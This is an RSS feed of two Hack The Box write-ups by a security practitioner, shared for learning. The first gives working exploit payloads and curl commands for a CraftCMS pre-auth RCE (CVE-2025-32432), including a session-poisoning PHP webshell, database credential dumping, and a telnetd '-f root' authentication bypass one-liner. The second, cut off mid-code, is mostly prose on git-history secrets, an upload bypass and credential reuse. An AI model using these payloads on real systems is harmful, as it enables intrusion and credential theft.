<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: PyHackSecGP</title>
    <description>The latest articles on DEV Community by PyHackSecGP (@pyhacksecgp).</description>
    <link>https://dev.to/pyhacksecgp</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4005942%2Ff7fbe727-bc64-4fe8-9a8b-58543404bfb7.png</url>
      <title>DEV Community: PyHackSecGP</title>
      <link>https://dev.to/pyhacksecgp</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/pyhacksecgp"/>
    <language>en</language>
    <item>
      <title>HTB Orion — CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sun, 26 Jul 2026 01:05:25 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/htb-orion-craftcms-rce-a-reverse-shell-that-wouldnt-connect-and-a-telnetd-auth-bypass-4nj2</link>
      <guid>https://dev.to/pyhacksecgp/htb-orion-craftcms-rce-a-reverse-shell-that-wouldnt-connect-and-a-telnetd-auth-bypass-4nj2</guid>
      <description>&lt;h1&gt;
  
  
  HTB Orion — Writeup
&lt;/h1&gt;

&lt;p&gt;Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Standard start:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; 10.129.69.96
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"10.129.69.96 orion.htb"&lt;/span&gt; | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.&lt;/p&gt;

&lt;p&gt;That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual CSRF Bypass (the interesting part)
&lt;/h2&gt;

&lt;p&gt;The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.&lt;/p&gt;

&lt;p&gt;Craft/Yii ties CSRF validation to session state, so you need three things from the same session:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CraftSessionId cookie&lt;/li&gt;
&lt;li&gt;CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)&lt;/li&gt;
&lt;li&gt;the actual csrfTokenValue, embedded in the login page's HTML/JS
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://orion.htb/admin/login &lt;span class="nt"&gt;-o&lt;/span&gt; login.html
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s1"&gt;'csrfTokenValue[^,]*'&lt;/span&gt; login.html
&lt;span class="nb"&gt;cat &lt;/span&gt;cookies.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"assetId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"handle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"width"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"height"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"as session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"craft&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;behaviors&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FieldLayoutBehavior"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"GuzzleHttp&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;Psr7&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FnStream"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__construct()"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[[]],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_fn_close"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"phpinfo"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;csrfTokenValue&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://orion.htb/index.php?p=actions/assets/generate-transform"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"HTTP %{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"PHP Version"&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Reverse Shell That Wouldn't Come Home
&lt;/h2&gt;

&lt;p&gt;With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host:  instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.&lt;/p&gt;

&lt;p&gt;Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.&lt;/p&gt;

&lt;p&gt;I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual RCE via Session Poisoning
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1. Poison a PHP session file with a webshell:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; webshell_cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"http://orion.htb/index.php?p=admin/dashboard&amp;amp;a=&amp;lt;?=eval(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_GET['cmd']);die()?&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-D&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: -g stops curl treating [] in $_GET['cmd'] as glob syntax.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"assetId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"handle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"width"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"height"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"as session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"craft&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;behaviors&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FieldLayoutBehavior"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yii&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;rbac&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;PhpManager"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__construct()"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"itemFile"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/var/lib/php/sessions/sess_&amp;lt;id&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;token&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://orion.htb/index.php?p=actions/assets/generate-transform&amp;amp;cmd=system("id");'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload2.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: cmd must be a PHP statement, not a raw shell command.&lt;br&gt;
&lt;strong&gt;Note&lt;/strong&gt;: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Credential Harvesting
&lt;/h2&gt;

&lt;p&gt;Craft's .env is world-readable to www-data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# cmd=system("cat%20/var/www/html/craft/.env");&lt;/span&gt;
&lt;span class="c"&gt;# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;"system('mysql -u root -pSuperSecureCraft123Pass! orion -e &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;select username, email, password from users;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; 2&amp;gt;&amp;amp;1');"&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/+/%2B/g'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;token&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://orion.htb/index.php?p=actions/assets/generate-transform&amp;amp;cmd=eval(base64_decode('&lt;/span&gt;&lt;span class="nv"&gt;$B64&lt;/span&gt;&lt;span class="s2"&gt;'));"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload2.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got bcrypt hash for &lt;a href="mailto:adam@orion.htb"&gt;adam@orion.htb&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cracking — Plan A Failed
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 3200 ...
&lt;span class="c"&gt;# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Switched to John:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bcrypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;span class="c"&gt;# cracked in ~19s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password reuse → SSH as adam.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation: CVE-2026-24061
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;     &lt;span class="c"&gt;# telnet on 127.0.0.1:23&lt;/span&gt;
telnet &lt;span class="nt"&gt;--version&lt;/span&gt;   &lt;span class="c"&gt;# GNU inetutils 2.7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;USER env var passed unsanitized to login(1). -f root skips authentication:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"-f root"&lt;/span&gt; telnet &lt;span class="nt"&gt;-a&lt;/span&gt; 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instant root shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.&lt;/li&gt;
&lt;li&gt;Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.&lt;/li&gt;
&lt;li&gt;.env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.&lt;/li&gt;
&lt;li&gt;Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.&lt;/li&gt;
&lt;li&gt;Internal-only daemons are still root paths once you have any foothold.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;p&gt;Flags redacted per standard practice for retired-box writeups.&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>appsec</category>
      <category>pentesting</category>
      <category>ctf</category>
    </item>
    <item>
      <title>What Rooting an "Easy" HTB Box Taught Me About Chained Vulnerabilities</title>
      <dc:creator>PyHackSecGP</dc:creator>
      <pubDate>Sat, 25 Jul 2026 21:53:23 +0000</pubDate>
      <link>https://dev.to/pyhacksecgp/what-rooting-an-easy-htb-box-taught-me-about-chained-vulnerabilities-5535</link>
      <guid>https://dev.to/pyhacksecgp/what-rooting-an-easy-htb-box-taught-me-about-chained-vulnerabilities-5535</guid>
      <description>&lt;p&gt;I do AppSec triage for a living — mostly reading through Bugcrowd submissions&lt;br&gt;
and reasoning about whether a reported issue is actually exploitable, and how&lt;br&gt;
badly. So when I pick weekend HTB boxes to work through, I'm not really&lt;br&gt;
looking for the hardest exploit dev challenge I can find. I'm looking for&lt;br&gt;
boxes that exercise the same instincts I need on a Tuesday afternoon at work:&lt;br&gt;
reading an unfamiliar application's surface area, noticing what's &lt;em&gt;not&lt;/em&gt;&lt;br&gt;
supposed to be reachable, and following a thread of small mistakes to their&lt;br&gt;
logical end.&lt;/p&gt;

&lt;p&gt;This weekend's box (an easy-rated Linux machine on HTB) turned out to be a&lt;br&gt;
genuinely great case study for that, so I wanted to write up what I actually&lt;br&gt;
learned rather than just "I did the box."&lt;/p&gt;
&lt;h2&gt;
  
  
  Recon taught me more than the target's services
&lt;/h2&gt;

&lt;p&gt;The initial port scan only turned up two ports — SSH and a webserver — and&lt;br&gt;
the webserver redirected to a hostname I hadn't seen before. That alone is a&lt;br&gt;
small but useful reminder: a redirect to an unfamiliar hostname is a signal to&lt;br&gt;
go add that hostname to your resolver and actually look at what's there,&lt;br&gt;
not just note "HTTP open" and move on.&lt;/p&gt;

&lt;p&gt;Once I was looking at the real site, a vhost fuzzing pass (ffuf, with the&lt;br&gt;
default/junk response size filtered out) turned up two more subdomains that&lt;br&gt;
weren't linked from the main site anywhere. One turned out to be a self-hosted&lt;br&gt;
git server, the other an internal business application. Neither would have&lt;br&gt;
been found by just clicking around the visible site. &lt;strong&gt;Attack surface and&lt;br&gt;
visible surface are not the same thing&lt;/strong&gt;, and I don't think I'll ever stop&lt;br&gt;
being reminded of that.&lt;/p&gt;
&lt;h2&gt;
  
  
  The finding I'll actually remember: secrets survive "deletion"
&lt;/h2&gt;

&lt;p&gt;The git server had a public repo containing infrastructure config for the&lt;br&gt;
business app — a Docker Compose file and an environment file. The environment&lt;br&gt;
file, as it currently existed, had its password field blanked out. Good&lt;br&gt;
hygiene, right?&lt;/p&gt;

&lt;p&gt;Except &lt;code&gt;git log -p&lt;/code&gt; on that file showed an earlier commit where the real&lt;br&gt;
value was still there in plaintext. Someone had added the credential, realized&lt;br&gt;
the mistake, and "fixed" it by blanking the field in a new commit — without&lt;br&gt;
realizing (or without rotating the credential either way) that the value was&lt;br&gt;
still permanently readable by anyone who cloned the repo and looked at its&lt;br&gt;
history.&lt;/p&gt;

&lt;p&gt;This is, I think, the most broadly useful lesson from the whole exercise:&lt;br&gt;
&lt;strong&gt;a secret that ever touches a commit is compromised the moment that commit&lt;br&gt;
is pushed anywhere with more than one set of eyes on it.&lt;/strong&gt; Blanking it in a&lt;br&gt;
later commit does nothing for anyone who can run &lt;code&gt;git log&lt;/code&gt;. The only real fix&lt;br&gt;
is treating the credential as burned and rotating it — full history rewrites&lt;br&gt;
are a nice-to-have at best, not a substitute.&lt;/p&gt;

&lt;p&gt;I now have &lt;code&gt;git log -p --all | grep -iE "password|secret|key|token"&lt;/code&gt; as a&lt;br&gt;
near-automatic step any time I get read access to a git repo during recon,&lt;br&gt;
lab or otherwise.&lt;/p&gt;
&lt;h2&gt;
  
  
  Credential reuse, twice over
&lt;/h2&gt;

&lt;p&gt;That leaked password worked directly against the admin login of the business&lt;br&gt;
application, once paired with an email address I found from an entirely&lt;br&gt;
different piece of recon — a "careers" page had a job posting listing a&lt;br&gt;
hiring manager's contact email. Worth remembering that OSINT on a target&lt;br&gt;
isn't only infrastructure enumeration; sometimes it's just reading the&lt;br&gt;
website like a human would and noting who's named where.&lt;/p&gt;

&lt;p&gt;The application itself happened to be running a version with a recently&lt;br&gt;
disclosed, authenticated remote code execution vulnerability, reachable&lt;br&gt;
through a file-attachment feature. The validation preventing arbitrary file&lt;br&gt;
uploads was purely client-side (extension checking in the browser), so the&lt;br&gt;
actual exploitation was: rename the payload to an allowed extension, upload&lt;br&gt;
it, then use an intercepting proxy to rename it back to something executable&lt;br&gt;
before the request actually reached the server. I've now seen this exact&lt;br&gt;
pattern — client-side-only extension validation — in more than one context,&lt;br&gt;
both in labs and in real bug reports I've triaged. It's essentially&lt;br&gt;
decorative security if there's no matching server-side check.&lt;/p&gt;

&lt;p&gt;Once I had code execution as the web server's low-privilege user, a &lt;em&gt;second&lt;/em&gt;&lt;br&gt;
config file on the box (this time the CMS's own database configuration) had&lt;br&gt;
yet another password — different from the git-leaked one — which worked&lt;br&gt;
directly for SSH access as a real system user. Two independent instances of&lt;br&gt;
password reuse across service boundaries, in a single chain. It's a small&lt;br&gt;
thing to say "don't reuse passwords across services," but seeing it exploited&lt;br&gt;
twice back to back in one box is a much better teacher than the advice on its&lt;br&gt;
own ever is.&lt;/p&gt;
&lt;h2&gt;
  
  
  The privilege escalation: why &lt;code&gt;os.path.join()&lt;/code&gt; isn't a safety net
&lt;/h2&gt;

&lt;p&gt;This is the part I most wanted to write about, because it's a genuinely&lt;br&gt;
transferable code-review lesson, not just a CTF trick.&lt;/p&gt;

&lt;p&gt;Enumerating scheduled jobs on the box turned up a systemd timer running a&lt;br&gt;
Python script as root every minute. The script's purpose was mundane:&lt;br&gt;
sync files out of specially-flagged "template" git repositories into a&lt;br&gt;
staging directory, presumably so they could be used elsewhere on the system.&lt;br&gt;
The vulnerable logic looked, in spirit, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;files_from_git_ls_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;staging_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
